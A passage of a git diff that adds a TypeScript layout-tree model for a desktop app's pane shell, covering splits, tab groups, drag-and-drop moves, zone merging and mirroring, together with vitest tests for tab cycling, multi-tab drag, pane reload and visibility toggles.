+  })
+
+  it('⌃Tab and the ⌘T / ⌘W family follow the same hovered zone', async () => {
+    const { activeOf, model, tree } = await setup()
+
+    tree.noteActiveTreeGroup('grp-main')
+    tree.noteHoveredTreeGroup('grp-side')
+
+    expect(tree.cycleTreeTabInFocusedZone(1)).toBeTruthy()
+    expect(activeOf('grp-side')).toBe('session-tile:c')
+    expect(activeOf('grp-main')).toBe('workspace')
+
+    expect(tree.focusedSessionTabAnchor()).toBe('session-tile:c')
+
+    expect(tree.closeFocusedSessionTab()).toBe(true)
+    expect(model.allPaneIds(tree.$layoutTree.get()!)).not.toContain('session-tile:c')
+    expect(model.allPaneIds(tree.$layoutTree.get()!)).toContain('workspace')
+  })
+
+  // Hovering chrome that is not a zone at all (the sidebar, the titlebar, the
+  // statusbar) reports no group. The keys must fall through to focus rather
+  // than dead-ending — pointing away from the panes is not a reason to stop
+  // switching tabs.
+  it('hovering non-pane chrome falls through to the focused zone', async () => {
+    const { activeOf, tree } = await setup()
+
+    tree.noteActiveTreeGroup('grp-side')
+    tree.noteHoveredTreeGroup(null)
+
+    expect(tree.activateTreeTabSlot(2)).toBeTruthy()
+    expect(activeOf('grp-side')).toBe('session-tile:c')
+    expect(tree.cycleTreeTabInFocusedZone(1)).toBeTruthy()
+    expect(activeOf('grp-side')).toBe('session-tile:b')
+  })
+
+  // Nothing interacted with yet (fresh boot) or focus parked somewhere that
+  // can't serve the verb: main is the last rung, so ⌘2 still works.
+  it('falls through to the workspace zone with neither hover nor focus', async () => {
+    const { activeOf, tree } = await setup()
+
+    tree.noteActiveTreeGroup(null)
+    tree.noteHoveredTreeGroup(null)
+
+    expect(tree.activateTreeTabSlot(2)).toBeTruthy()
+    expect(activeOf('grp-main')).toBe('session-tile:a')
+    expect(activeOf('grp-side')).toBe('session-tile:b')
+  })
+
+  // The ladder is per-rung eligible, not "first rung wins": a hovered zone that
+  // ISN'T a tab strip must hand the keys to the next rung, not swallow them.
+  it('an ineligible hovered zone hands off instead of swallowing the key', async () => {
+    const { activeOf, model, tree } = await setup()
+    const { registry } = await import('@/contrib/registry')
+
+    registry.register({ area: 'panes', data: { placement: 'right' }, id: 'files', render: () => null, title: 'files' })
+
+    // Replace the tree outright — declareDefaultTree only ADOPTS into an
+    // existing one, so the lone-files zone has to be set directly.
+    tree.$layoutTree.set(
+      model.split('row', [
+        model.group(['workspace', 'session-tile:a'], { active: 'workspace', id: 'grp-main' }),
+        model.group(['files'], { active: 'files', id: 'grp-files' })
+      ])
+    )
+
+    // Pointer resting on the lone file tree, focus nowhere.
+    tree.noteActiveTreeGroup(null)
+    tree.noteHoveredTreeGroup('grp-files')
+
+    expect(tree.activateTreeTabSlot(2)).toBeTruthy()
+    expect(activeOf('grp-main')).toBe('session-tile:a')
+    // ⌘W must not close the file tree from a rung that can't serve it.
+    expect(activeOf('grp-files')).toBe('files')
+    expect(model.allPaneIds(tree.$layoutTree.get()!)).toContain('files')
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/model.ts b/ui-desktop/src/components/pane-shell/tree/model.ts
new file mode 100644
index 000000000..06810cb4c
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/model.ts
@@ -0,0 +1,584 @@
+/**
+ * Layout tree model — the Dockview-style structure that replaces the
+ * rails/bands grammar. Two node kinds:
+ *
+ *  - `split`: children laid out along an orientation with fractional weights.
+ *  - `group`: a stack of panes (tabs) with one active; may be minimized to
+ *    its header strip (DetailPane semantics).
+ *
+ * Everything the old grammar special-cased is just tree shape here: a "top row
+ * spanning the right rail" is a column split; "a cell inside a column" is a
+ * stacked group; spans fall out of tree position. All operations are pure and
+ * return new trees; `normalize` keeps the structure canonical (no empty
+ * groups, no single-child or same-orientation nested splits).
+ */
+
+export type Orientation = 'row' | 'column'
+
+export interface SplitNode {
+  type: 'split'
+  id: string
+  orientation: Orientation
+  children: LayoutNode[]
+  /** Parallel to children; relative flex weights. */
+  weights: number[]
+}
+
+export interface GroupNode {
+  type: 'group'
+  id: string
+  /** Pane ids stacked in this group (rendered as tabs when > 1). */
+  panes: string[]
+  /** The visible pane. */
+  active: string
+  /** Collapsed to header strip (chevron restores). */
+  minimized?: boolean
+  /**
+   * Header hidden entirely (double-click the header to hide, double-click the
+   * zone's top edge to bring it back). Minimize always shows the header —
+   * a minimized group IS its header.
+   */
+  headerHidden?: boolean
+}
+
+export type LayoutNode = SplitNode | GroupNode
+
+/** Where a dragged pane lands relative to a target group. */
+export type DropPosition = 'center' | 'left' | 'right' | 'top' | 'bottom'
+
+export type RootEdge = 'left' | 'right' | 'top' | 'bottom'
+
+let seq = 0
+export const nodeId = (kind: string) => `${kind}-${Date.now().toString(36)}-${(seq++).toString(36)}`
+
+export const group = (panes: string[], options?: Partial<Omit<GroupNode, 'type' | 'panes'>>): GroupNode => ({
+  type: 'group',
+  id: options?.id ?? nodeId('g'),
+  panes,
+  active: options?.active ?? panes[0] ?? '',
+  minimized: options?.minimized,
+  headerHidden: options?.headerHidden
+})
+
+export const split = (
+  orientation: Orientation,
+  children: LayoutNode[],
+  weights?: number[],
+  id?: string
+): SplitNode => ({
+  type: 'split',
+  id: id ?? nodeId('s'),
+  orientation,
+  children,
+  weights: weights ?? children.map(() => 1)
+})
+
+// ---------------------------------------------------------------------------
+// Queries
+// ---------------------------------------------------------------------------
+
+export function findGroup(node: LayoutNode, groupId: string): GroupNode | null {
+  if (node.type === 'group') {
+    return node.id === groupId ? node : null
+  }
+
+  for (const child of node.children) {
+    const hit = findGroup(child, groupId)
+
+    if (hit) {
+      return hit
+    }
+  }
+
+  return null
+}
+
+export function findGroupOfPane(node: LayoutNode, paneId: string): GroupNode | null {
+  if (node.type === 'group') {
+    return node.panes.includes(paneId) ? node : null
+  }
+
+  for (const child of node.children) {
+    const hit = findGroupOfPane(child, paneId)
+
+    if (hit) {
+      return hit
+    }
+  }
+
+  return null
+}
+
+export function allPaneIds(node: LayoutNode): string[] {
+  return node.type === 'group' ? [...node.panes] : node.children.flatMap(allPaneIds)
+}
+
+// ---------------------------------------------------------------------------
+// Structural edits (pure)
+// ---------------------------------------------------------------------------
+
+/**
+ * Canonical form: unwrap single-child splits, flatten same-orientation
+ * nesting (weights scaled into the parent's slot), and PRUNE EMPTY GROUPS —
+ * dragging the last pane out of a zone closes the zone and its siblings
+ * absorb the space (VS Code semantics). Keeping empties as "stable regions"
+ * (the original FancyZones rule) let invisible residue accumulate into
+ * corrupt-feeling structure (`row([]|[])` eating half a slot); authored
+ * empty zones still exist inside the zone editor's own grid model, and an
+ * editor-applied tree keeps them until the first structural op.
+ */
+export function normalize(node: LayoutNode): LayoutNode | null {
+  if (node.type === 'group') {
+    if (node.panes.length === 0) {
+      return null
+    }
+
+    const active = node.panes.includes(node.active) ? node.active : node.panes[0]
+
+    // NOTE: `headerHidden` is deliberately untouched here. A zone down to one
+    // pane is headerless by default anyway, so a stored `true` is visually
+    // redundant *while it's alone* — but normalize used to DROP it, which threw
+    // away the user's standing choice: the bar came back the moment a pane
+    // rejoined (close a stacked tool panel, toggle it back on). `false` is
+    // sticky for the mirror reason — once a zone has had a tab bar, it keeps it.
+    if (active === node.active) {
+      return node
+    }
+
+    return { ...node, active }
+  }
+
+  const children: LayoutNode[] = []
+  const weights: number[] = []
+
+  node.children.forEach((child, i) => {
+    const kept = normalize(child)
+
+    if (!kept) {
+      return
+    }
+
+    if (kept.type === 'split' && kept.orientation === node.orientation) {
+      // Flatten: distribute this slot's weight across the flattened children
+      // proportionally to their internal weights.
+      const total = kept.weights.reduce((a, b) => a + b, 0) || 1
+      kept.children.forEach((grandchild, j) => {
+        children.push(grandchild)
+        weights.push((node.weights[i] ?? 1) * ((kept.weights[j] ?? 1) / total))
+      })
+
+      return
+    }
+
+    children.push(kept)
+    weights.push(node.weights[i] ?? 1)
+  })
+
+  if (children.length === 0) {
+    return null
+  }
+
+  if (children.length === 1) {
+    return children[0]
+  }
+
+  return { ...node, children, weights }
+}
+
+/** Remove a pane wherever it lives. Closing the ACTIVE tab leaves selection on
+ *  the neighbor that fills its slot (right; left when it was last) — same rule
+ *  as terminals and the preview rail. */
+export function removePane(node: LayoutNode, paneId: string): LayoutNode | null {
+  const walk = (n: LayoutNode): LayoutNode => {
+    if (n.type === 'group') {
+      const at = n.panes.indexOf(paneId)
+
+      if (at === -1) {
+        return n
+      }
+
+      const panes = n.panes.filter(p => p !== paneId)
+
+      // After splice, `at` indexes the old right neighbor (clamp left at end).
+      return { ...n, panes, active: n.active === paneId ? (panes[Math.min(at, panes.length - 1)] ?? '') : n.active }
+    }
+
+    return { ...n, children: n.children.map(walk) }
+  }
+
+  return normalize(walk(node))
+}
+
+/**
+ * Insert `paneId` at `target` group: `center` joins the stack (as a tab);
+ * an edge splits the group in that direction. If the neighboring split
+ * already runs in that orientation the new group is spliced in beside the
+ * target instead of nesting (normalize would flatten it anyway).
+ */
+export function insertAtGroup(
+  node: LayoutNode,
+  targetGroupId: string,
+  paneId: string,
+  pos: DropPosition,
+  /** Center drops only: stack BEFORE this pane id (`null`/omitted = append) —
+   *  the tab-strip insertion divider's slot. */
+  before?: null | string,
+  /** Front the inserted pane — TRUE for a gesture (drop/reveal), FALSE for silent
+   *  adoption (logs stacking into the terminal zone must not steal its tab). */
+  activate: boolean = true
+): LayoutNode | null {
+  const walk = (n: LayoutNode): LayoutNode => {
+    if (n.type === 'group') {
+      if (n.id !== targetGroupId) {
+        return n
+      }
+
+      if (pos === 'center') {
+        const at = before ? n.panes.indexOf(before) : -1
+        const panes = at >= 0 ? [...n.panes.slice(0, at), paneId, ...n.panes.slice(at)] : [...n.panes, paneId]
+
+        // Gaining a pane pins the header EXPLICITLY shown (not just cleared):
+        // a stack you can't see is a trap, and once a zone has ever stacked
+        // the bar STAYS when it drops back to one tab — the auto-hide flicker
+        // while dragging tabs around felt broken. Hiding is the user's call
+        // (double-click / zone menu). Active moves only on a gesture; an empty
+        // target has no prior tab, so the newcomer takes it regardless.
+        const active = activate || n.panes.length === 0 ? paneId : n.active
+
+        return { ...n, panes, active, headerHidden: false }
+      }
+
+      const orientation: Orientation = pos === 'left' || pos === 'right' ? 'row' : 'column'
+      const leading = pos === 'left' || pos === 'top'
+      const added = group([paneId])
+      const children = leading ? [added, n] : [n, added]
+
+      return split(orientation, children, [1, 1])
+    }
+
+    return { ...n, children: n.children.map(walk) }
+  }
+
+  return normalize(walk(node))
+}
+
+/**
+ * The tree's VISIBLE shape: pane stacks + split orientations, with empty
+ * groups skipped (editor-session trees may still hold them) and single-child
+ * runs unwrapped. Two trees with equal signatures are indistinguishable on
+ * screen regardless of node ids.
+ */
+function shapeSignature(node: LayoutNode): string {
+  if (node.type === 'group') {
+    return node.panes.length > 0 ? `[${node.panes.join(',')}]` : ''
+  }
+
+  const children = node.children.map(shapeSignature).filter(Boolean)
+
+  if (children.length === 0) {
+    return ''
+  }
+
+  return children.length === 1 ? children[0] : `${node.orientation}(${children.join('|')})`
+}
+
+/**
+ * Move = remove + insert. If the target group vanished during removal (the
+ * pane was its only occupant), the move is a no-op. A move whose result
+ * LOOKS identical to the current layout is also a no-op — e.g. a "split
+ * bottom" drop onto the zone the pane already sits alone below would only
+ * rebuild the same arrangement under a fresh zone id.
+ */
+export function movePane(
+  root: LayoutNode,
+  paneId: string,
+  target: { groupId: string; pos: DropPosition; before?: null | string }
+): LayoutNode {
+  const from = findGroupOfPane(root, paneId)
+
+  // No-op guards: dropping a pane onto its own single-pane group.
+  if (from && from.id === target.groupId && from.panes.length === 1) {
+    return root
+  }
+
+  const without = removePane(root, paneId)
+
+  if (!without) {
+    // The pane was the only thing in the tree.
+    return root
+  }
+
+  if (!findGroup(without, target.groupId)) {
+    return root
+  }
+
+  const next = insertAtGroup(without, target.groupId, paneId, target.pos, target.before) ?? root
+
+  return shapeSignature(next) === shapeSignature(root) ? root : next
+}
+
+/**
+ * Move a SELECTION of panes together (multi-tab drag), preserving their strip
+ * order. The lead pane lands exactly like a single `movePane` (center joins at
+ * `before`, an edge opens the split); the rest stack in behind it. `activeId`
+ * (the pressed tab) fronts in the landing group. Same no-op guard as
+ * `movePane`: a drop that rebuilds the visible arrangement returns `root`.
+ */
+export function movePanes(
+  root: LayoutNode,
+  paneIds: readonly string[],
+  target: { groupId: string; pos: DropPosition; before?: null | string },
+  activeId: string = paneIds[0] ?? ''
+): LayoutNode {
+  if (paneIds.length <= 1) {
+    return paneIds.length === 1 ? movePane(root, paneIds[0], target) : root
+  }
+
+  let without: LayoutNode | null = root
+
+  for (const id of paneIds) {
+    without = without && removePane(without, id)
+  }
+
+  // The selection was the whole tree, or removal dissolved the target zone
+  // (the selection was its only occupancy) — nowhere left to land.
+  if (!without || !findGroup(without, target.groupId)) {
+    return root
+  }
+
+  // The lead insert decides geometry; the rest stack into the lead's group at
+  // the same slot (each lands before `before`, so the block keeps its order).
+  // Only the lead activates — `insertAtGroup(activate)` would otherwise front
+  // each follower in turn.
+  const lead = paneIds[0]
+  let next: LayoutNode | null = insertAtGroup(without, target.groupId, lead, target.pos, target.before)
+
+  for (let i = 1; next && i < paneIds.length; i++) {
+    const leadGroup = findGroupOfPane(next, lead)
+
+    if (!leadGroup) {
+      return root
+    }
+
+    const before = target.pos === 'center' ? (target.before ?? null) : null
+    next = insertAtGroup(next, leadGroup.id, paneIds[i], 'center', before, false)
+  }
+
+  if (!next) {
+    return root
+  }
+
+  const landed = findGroupOfPane(next, lead)
+
+  if (landed && landed.panes.includes(activeId)) {
+    next = setActivePane(next, landed.id, activeId)
+  }
+
+  return shapeSignature(next) === shapeSignature(root) ? root : next
+}
+
+/** Group ids of every leaf under a node, in tree order. */
+export function groupLeafIds(node: LayoutNode): string[] {
+  return node.type === 'group' ? [node.id] : node.children.flatMap(groupLeafIds)
+}
+
+function sameSet(ids: string[], set: Set<string>): boolean {
+  return ids.length === set.size && ids.every(id => set.has(id))
+}
+
+/** The node whose complete leaf set equals `set` (a rectangular region in a
+ *  guillotine tree is always exactly one subtree), or null. */
+function findCover(node: LayoutNode, set: Set<string>): LayoutNode | null {
+  if (sameSet(groupLeafIds(node), set)) {
+    return node
+  }
+
+  if (node.type === 'split') {
+    for (const child of node.children) {
+      const hit = findCover(child, set)
+
+      if (hit) {
+        return hit
+      }
+    }
+  }
+
+  return null
+}
+
+/**
+ * FancyZones span: merge the highlighted zones into ONE group holding the
+ * dragged pane block (one pane, or a multi-tab selection in strip order),
+ * absorbing any panes that lived in those zones as tabs. Only works when the
+ * highlighted set forms a rectangular subtree (it always does for a combined
+ * zone range on a guillotine tree); returns null otherwise so the caller can
+ * fall back to a single-zone drop.
+ */
+export function mergeZonesWithPane(
+  root: LayoutNode,
+  groupIds: string[],
+  paneId: string | readonly string[]
+): LayoutNode | null {
+  const paneIds = typeof paneId === 'string' ? [paneId] : [...paneId]
+  const set = new Set(groupIds)
+
+  if (set.size <= 1 || !findCover(root, set)) {
+    return null
+  }
+
+  // Panes from the merged zones (tree order), minus the dragged block.
+  const panesInSet: string[] = []
+
+  const collect = (n: LayoutNode) => {
+    if (n.type === 'group') {
+      if (set.has(n.id)) {
+        panesInSet.push(...n.panes.filter(p => !paneIds.includes(p)))
+      }
+    } else {
+      n.children.forEach(collect)
+    }
+  }
+
+  collect(root)
+
+  // Any dragged pane living OUTSIDE the merged set is pulled from its origin
+  // first (leaving that origin an empty zone). Inside the set it's absorbed.
+  let working = root
+
+  for (const id of paneIds) {
+    const origin = findGroupOfPane(working, id)
+
+    if (origin && !set.has(origin.id)) {
+      working = removePane(working, id) ?? working
+    }
+  }
+
+  const merged = group([...paneIds, ...panesInSet])
+
+  const replace = (n: LayoutNode): LayoutNode => {
+    if (sameSet(groupLeafIds(n), set)) {
+      return merged
+    }
+
+    return n.type === 'split' ? { ...n, children: n.children.map(replace) } : n
+  }
+
+  return normalize(replace(working))
+}
+
+// ---------------------------------------------------------------------------
+// Attribute edits
+// ---------------------------------------------------------------------------
+
+function mapGroups(node: LayoutNode, fn: (g: GroupNode) => GroupNode): LayoutNode {
+  return node.type === 'group' ? fn(node) : { ...node, children: node.children.map(c => mapGroups(c, fn)) }
+}
+
+export function setActivePane(root: LayoutNode, groupId: string, paneId: string): LayoutNode {
+  return mapGroups(root, g => (g.id === groupId && g.panes.includes(paneId) ? { ...g, active: paneId } : g))
+}
+
+/** Reorder a block of panes within a group as one unit (browser-tab drag
+ *  semantics; a single-tab drag is a one-id block): the block lands at
+ *  `toIndex` among the remaining tabs, keeping its own order. */
+export function reorderPanesInGroup(
+  root: LayoutNode,
+  groupId: string,
+  paneIds: readonly string[],
+  toIndex: number
+): LayoutNode {
+  return mapGroups(root, g => {
+    if (g.id !== groupId || !paneIds.every(p => g.panes.includes(p))) {
+      return g
+    }
+
+    const without = g.panes.filter(p => !paneIds.includes(p))
+    const index = Math.max(0, Math.min(without.length, toIndex))
+    const panes = [...without.slice(0, index), ...paneIds, ...without.slice(index)]
+
+    return { ...g, panes }
+  })
+}
+
+export function setGroupMinimized(root: LayoutNode, groupId: string, minimized: boolean): LayoutNode {
+  return mapGroups(root, g => (g.id === groupId ? { ...g, minimized } : g))
+}
+
+export function setGroupHeaderHidden(root: LayoutNode, groupId: string, headerHidden: boolean): LayoutNode {
+  return mapGroups(root, g => (g.id === groupId ? { ...g, headerHidden } : g))
+}
+
+function replaceNode(node: LayoutNode, id: string, make: (g: GroupNode) => LayoutNode): LayoutNode {
+  if (node.type === 'group') {
+    return node.id === id ? make(node) : node
+  }
+
+  return { ...node, children: node.children.map(c => replaceNode(c, id, make)) }
+}
+
+/** Mirror the layout HORIZONTALLY (the titlebar flip toggle / ⌘\): reverse
+ *  every ROW split's child order at EVERY depth, so left↔right flips
+ *  everywhere. A right rail lands on the left with its OWN internal order
+ *  mirrored too — so preview stays directly beside the file tree instead of
+ *  jumping to the far edge (a shallow root-only reverse left nested rails in
+ *  place). COLUMN splits keep their top↔bottom order (the terminal stays at
+ *  the bottom). Its own involution: flipping twice is the identity. */
+export function mirrorTreeHorizontal(root: LayoutNode): LayoutNode {
+  if (root.type === 'group') {
+    return root
+  }
+
+  const children = root.children.map(mirrorTreeHorizontal)
+
+  return root.orientation === 'row'
+    ? { ...root, children: children.reverse(), weights: [...root.weights].reverse() }
+    : { ...root, children }
+}
+
+export function setSplitWeights(root: LayoutNode, splitId: string, weights: number[]): LayoutNode {
+  if (root.type === 'split') {
+    if (root.id === splitId) {
+      return { ...root, weights }
+    }
+
+    return { ...root, children: root.children.map(c => setSplitWeights(c, splitId, weights)) }
+  }
+
+  return root
+}
+
+// ---------------------------------------------------------------------------
+// Validation (persisted trees are untrusted)
+// ---------------------------------------------------------------------------
+
+export function isLayoutNode(value: unknown): value is LayoutNode {
+  if (!value || typeof value !== 'object') {
+    return false
+  }
+
+  const n = value as Record<string, unknown>
+
+  if (n.type === 'group') {
+    return (
+      typeof n.id === 'string' &&
+      Array.isArray(n.panes) &&
+      n.panes.every(p => typeof p === 'string') &&
+      typeof n.active === 'string'
+    )
+  }
+
+  if (n.type === 'split') {
+    return (
+      typeof n.id === 'string' &&
+      (n.orientation === 'row' || n.orientation === 'column') &&
+      Array.isArray(n.children) &&
+      n.children.length > 0 &&
+      n.children.every(isLayoutNode) &&
+      Array.isArray(n.weights) &&
+      n.weights.length === n.children.length &&
+      n.weights.every(w => typeof w === 'number' && Number.isFinite(w) && w > 0)
+    )
+  }
+
+  return false
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/multi-tab-drag.test.ts b/ui-desktop/src/components/pane-shell/tree/multi-tab-drag.test.ts
new file mode 100644
index 000000000..1766e53fc
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/multi-tab-drag.test.ts
@@ -0,0 +1,147 @@
+import { describe, expect, it } from 'vitest'
+
+import { findGroup, findGroupOfPane, group, mergeZonesWithPane, movePanes, reorderPanesInGroup, split } from './model'
+import { $tabSelection, clearTabSelection, selectionFor, selectTabRange, toggleTabSelected } from './tab-selection'
+
+describe('movePanes (multi-tab drag)', () => {
+  it('stacks the whole block into the target group at the divider slot, in strip order', () => {
+    const tree = split('row', [
+      group(['a', 'b', 'c'], { active: 'a', id: 'left' }),
+      group(['x', 'y'], { active: 'x', id: 'right' })
+    ])
+
+    const next = movePanes(tree, ['a', 'c'], { before: 'y', groupId: 'right', pos: 'center' }, 'c')
+    const right = findGroup(next, 'right')
+
+    expect(right).toMatchObject({ panes: ['x', 'a', 'c', 'y'], active: 'c' })
+    expect(findGroup(next, 'left')).toMatchObject({ panes: ['b'] })
+  })
+
+  it('an edge drop opens ONE split holding the block as tabs, pressed tab fronted', () => {
+    const tree = split('row', [
+      group(['a', 'b', 'c'], { active: 'a', id: 'left' }),
+      group(['x'], { active: 'x', id: 'right' })
+    ])
+
+    const next = movePanes(tree, ['b', 'c'], { groupId: 'right', pos: 'bottom' }, 'b')
+    const landed = findGroupOfPane(next, 'b')
+
+    expect(landed).toMatchObject({ panes: ['b', 'c'], active: 'b' })
+    // One new zone, not one per pane: b and c share a group.
+    expect(findGroupOfPane(next, 'c')).toBe(landed)
+    expect(findGroup(next, 'left')).toMatchObject({ panes: ['a'] })
+  })
+
+  it('dragging a whole zone into a sibling dissolves the source zone', () => {
+    const tree = split('row', [
+      group(['a', 'b'], { active: 'a', id: 'left' }),
+      group(['x'], { active: 'x', id: 'right' })
+    ])
+
+    const next = movePanes(tree, ['a', 'b'], { groupId: 'right', pos: 'center' }, 'a')
+
+    expect(next).toMatchObject({ type: 'group', panes: ['x', 'a', 'b'], active: 'a' })
+  })
+
+  it('is a no-op when removal dissolves the target zone itself', () => {
+    const tree = split('row', [
+      group(['a', 'b'], { active: 'a', id: 'left' }),
+      group(['x'], { active: 'x', id: 'right' })
+    ])
+
+    // Dropping right's only pane (as part of a block) "into right" — the
+    // target vanishes with the removal, so nothing moves.
+    expect(movePanes(tree, ['x', 'a'], { groupId: 'right', pos: 'center' }, 'x')).toBe(tree)
+  })
+
+  it('falls back to single-pane semantics for a one-id block', () => {
+    const tree = split('row', [
+      group(['a', 'b'], { active: 'a', id: 'left' }),
+      group(['x'], { active: 'x', id: 'right' })
+    ])
+
+    const next = movePanes(tree, ['b'], { groupId: 'right', pos: 'center' })
+
+    expect(findGroup(next, 'right')).toMatchObject({ panes: ['x', 'b'], active: 'b' })
+  })
+})
+
+describe('reorderPanesInGroup (block reorder)', () => {
+  it('moves a selection as one unit, preserving its internal order', () => {
+    const tree = group(['a', 'b', 'c', 'd'], { active: 'a', id: 'g' })
+
+    // [a, c] to the end: index 2 among the remaining [b, d].
+    expect(reorderPanesInGroup(tree, 'g', ['a', 'c'], 2)).toMatchObject({ panes: ['b', 'd', 'a', 'c'] })
+  })
+
+  it('leaves the group alone when any id is missing (stale selection)', () => {
+    const tree = group(['a', 'b'], { active: 'a', id: 'g' })
+
+    expect(reorderPanesInGroup(tree, 'g', ['a', 'ghost'], 0)).toBe(tree)
+  })
+})
+
+describe('mergeZonesWithPane with a multi-tab block', () => {
+  it('merges the span into one group led by the block in strip order', () => {
+    const tree = split('row', [
+      group(['a', 'b'], { active: 'a', id: 'left' }),
+      split('column', [group(['x'], { active: 'x', id: 'mid' }), group(['y'], { active: 'y', id: 'right' })])
+    ])
+
+    const next = mergeZonesWithPane(tree, ['mid', 'right'], ['a', 'b'])
+
+    expect(next).toMatchObject({ type: 'group', panes: ['a', 'b', 'x', 'y'] })
+  })
+
+  it('returns null for a non-rectangular span (caller falls back to a single-zone drop)', () => {
+    const tree = split('row', [
+      group(['a', 'b'], { active: 'a', id: 'left' }),
+      group(['x'], { active: 'x', id: 'mid' }),
+      group(['y'], { active: 'y', id: 'right' })
+    ])
+
+    expect(mergeZonesWithPane(tree, ['mid', 'right'], ['a', 'b'])).toBeNull()
+  })
+})
+
+describe('tab selection (Chrome grammar)', () => {
+  it('⌥-click seeds with the active tab, toggles, and dissolves at ≤1', () => {
+    clearTabSelection()
+    toggleTabSelected('g', 'c', 'a')
+
+    expect([...$tabSelection.get()!.ids].sort()).toEqual(['a', 'c'])
+
+    toggleTabSelected('g', 'c', 'a')
+
+    expect($tabSelection.get()).toBeNull()
+  })
+
+  it('shift-click ranges from the anchor and re-ranges on the next shift-click', () => {
+    clearTabSelection()
+
+    const order = ['a', 'b', 'c', 'd']
+    selectTabRange('g', order, 'c', 'a')
+
+    expect(selectionFor('g', order, 'b')).toEqual(['a', 'b', 'c'])
+
+    // Anchor holds at a (Chrome): re-ranging to d replaces, not extends.
+    selectTabRange('g', order, 'd', 'a')
+
+    expect(selectionFor('g', order, 'd')).toEqual(['a', 'b', 'c', 'd'])
+  })
+
+  it('selectionFor answers null for an unselected pressed tab and drops stale ids', () => {
+    clearTabSelection()
+    toggleTabSelected('g', 'b', 'a')
+    toggleTabSelected('g', 'c', 'a')
+
+    // Pressed tab outside the selection = single-tab drag.
+    expect(selectionFor('g', ['a', 'b', 'c', 'd'], 'd')).toBeNull()
+    // 'a' closed since: it silently falls out, strip order preserved.
+    expect(selectionFor('g', ['b', 'c', 'd'], 'b')).toEqual(['b', 'c'])
+    // Another zone never sees it.
+    expect(selectionFor('other', ['b', 'c'], 'b')).toBeNull()
+
+    clearTabSelection()
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/pane-reload.test.ts b/ui-desktop/src/components/pane-shell/tree/pane-reload.test.ts
new file mode 100644
index 000000000..8c78d5d39
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/pane-reload.test.ts
@@ -0,0 +1,28 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+// Right-click a tab -> Reload remounts THAT pane's content: its epoch (the
+// React key the zone renderer hands the contribution) advances, and no other
+// pane's does. The layout tree itself must never move.
+
+describe('reloadTreePane', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  it('advances only the reloaded pane epoch and leaves the tree alone', async () => {
+    const tree = await import('@/components/pane-shell/tree/store')
+    const model = await import('@/components/pane-shell/tree/model')
+
+    tree.declareDefaultTree(model.group(['workspace', 'files'], { active: 'workspace', id: 'grp-main' }))
+
+    const before = tree.$layoutTree.get()
+
+    tree.reloadTreePane('workspace')
+    tree.reloadTreePane('workspace')
+
+    expect(tree.$treePaneEpochs.get().workspace).toBe(2)
+    expect(tree.$treePaneEpochs.get().files).toBeUndefined()
+    expect(tree.$layoutTree.get()).toBe(before)
+  })
+})
diff --git a/ui-desktop/src/components/pane-shell/tree/pane-toggle-visibility.test.ts b/ui-desktop/src/components/pane-shell/tree/pane-toggle-visibility.test.ts
new file mode 100644
index 000000000..1f57ed015
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/pane-toggle-visibility.test.ts
@@ -0,0 +1,126 @@
+import { atom } from 'nanostores'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { registry } from '@/contrib/registry'
+
+import { group, split } from './model'
+import {
+  $dismissedPanes,
+  $hiddenTreePanes,
+  $layoutTree,
+  bindPaneVisibility,
+  isPaneVisible,
+  setTreeGroupMinimized,
+  togglePaneVisible
+} from './store'
+
+// The bug class, across EVERY pane kind — not just the terminal she reported.
+//
+// A toggle that flips its own boolean diverges from the tree the moment
+// anything else moves the pane: stacked behind a sibling tab, folded into a
+// minimized zone, closed with ⌘W. The store then says "open" while nothing is
+// on screen, the press re-asserts a value it already held, and the key reads
+// as dead. Same shape for the COLLAPSE-style tool panels (terminal, logs) and
+// the HIDE-style panes (files, review) — proven here with one table.
+
+const disposers: (() => void)[] = []
+
+/** Bind through the REAL production function, with the closer/opener pair the
+ *  controller gives it. */
+function bindVisibility(paneId: string, $open: ReturnType<typeof atom<boolean>>) {
+  bindPaneVisibility(
+    paneId,
+    $open,
+    () => $open.set(false),
+    () => $open.set(true)
+  )
+}
+
+beforeEach(() => {
+  window.localStorage.clear()
+  $dismissedPanes.set(new Set())
+  $hiddenTreePanes.set(new Set())
+
+  for (const [id, data] of [
+    ['workspace', { placement: 'main', uncloseable: true }],
+    ['files', { placement: 'right' }],
+    ['review', { placement: 'right' }]
+  ] as const) {
+    disposers.push(registry.register({ area: 'panes', data, id, render: () => null, title: id }))
+  }
+})
+
+afterEach(() => {
+  disposers.splice(0).forEach(dispose => dispose())
+})
+
+describe('a hide-style pane stacked behind a sibling tab', () => {
+  it('comes forward on the first press instead of swallowing it', () => {
+    $layoutTree.set(
+      split('row', [
+        group(['workspace'], { active: 'workspace', id: 'g-main' }),
+        group(['files', 'review'], { active: 'files', id: 'g-right' })
+      ])
+    )
+
+    const $review = atom(true)
+    bindVisibility('review', $review)
+
+    // The column is open but showing FILES, so the diff is not on screen —
+    // and $reviewOpen is true, which is what made ⌘G a no-op.
+    expect(isPaneVisible('review')).toBe(false)
+
+    togglePaneVisible('review')
+
+    expect(isPaneVisible('review')).toBe(true)
+  })
+})
+
+describe('a hide-style pane inside a minimized zone', () => {
+  it('un-minimizes on the first press', () => {
+    $layoutTree.set(
+      split('row', [
+        group(['workspace'], { active: 'workspace', id: 'g-main' }),
+        group(['files'], { active: 'files', id: 'g-files' })
+      ])
+    )
+
+    const $files = atom(true)
+    bindVisibility('files', $files)
+    setTreeGroupMinimized('g-files', true)
+
+    expect(isPaneVisible('files')).toBe(false)
+
+    togglePaneVisible('files')
+
+    expect(isPaneVisible('files')).toBe(true)
+  })
+})
+
+describe('the toggle round-trip', () => {
+  it('closes a visible hide-style pane through its own store', () => {
+    $layoutTree.set(
+      split('row', [
+        group(['workspace'], { active: 'workspace', id: 'g-main' }),
+        group(['files'], { active: 'files', id: 'g-files' })
+      ])
+    )
+
+    const $files = atom(true)
+    bindVisibility('files', $files)
+
+    expect(isPaneVisible('files')).toBe(true)
+
+    togglePaneVisible('files')
+
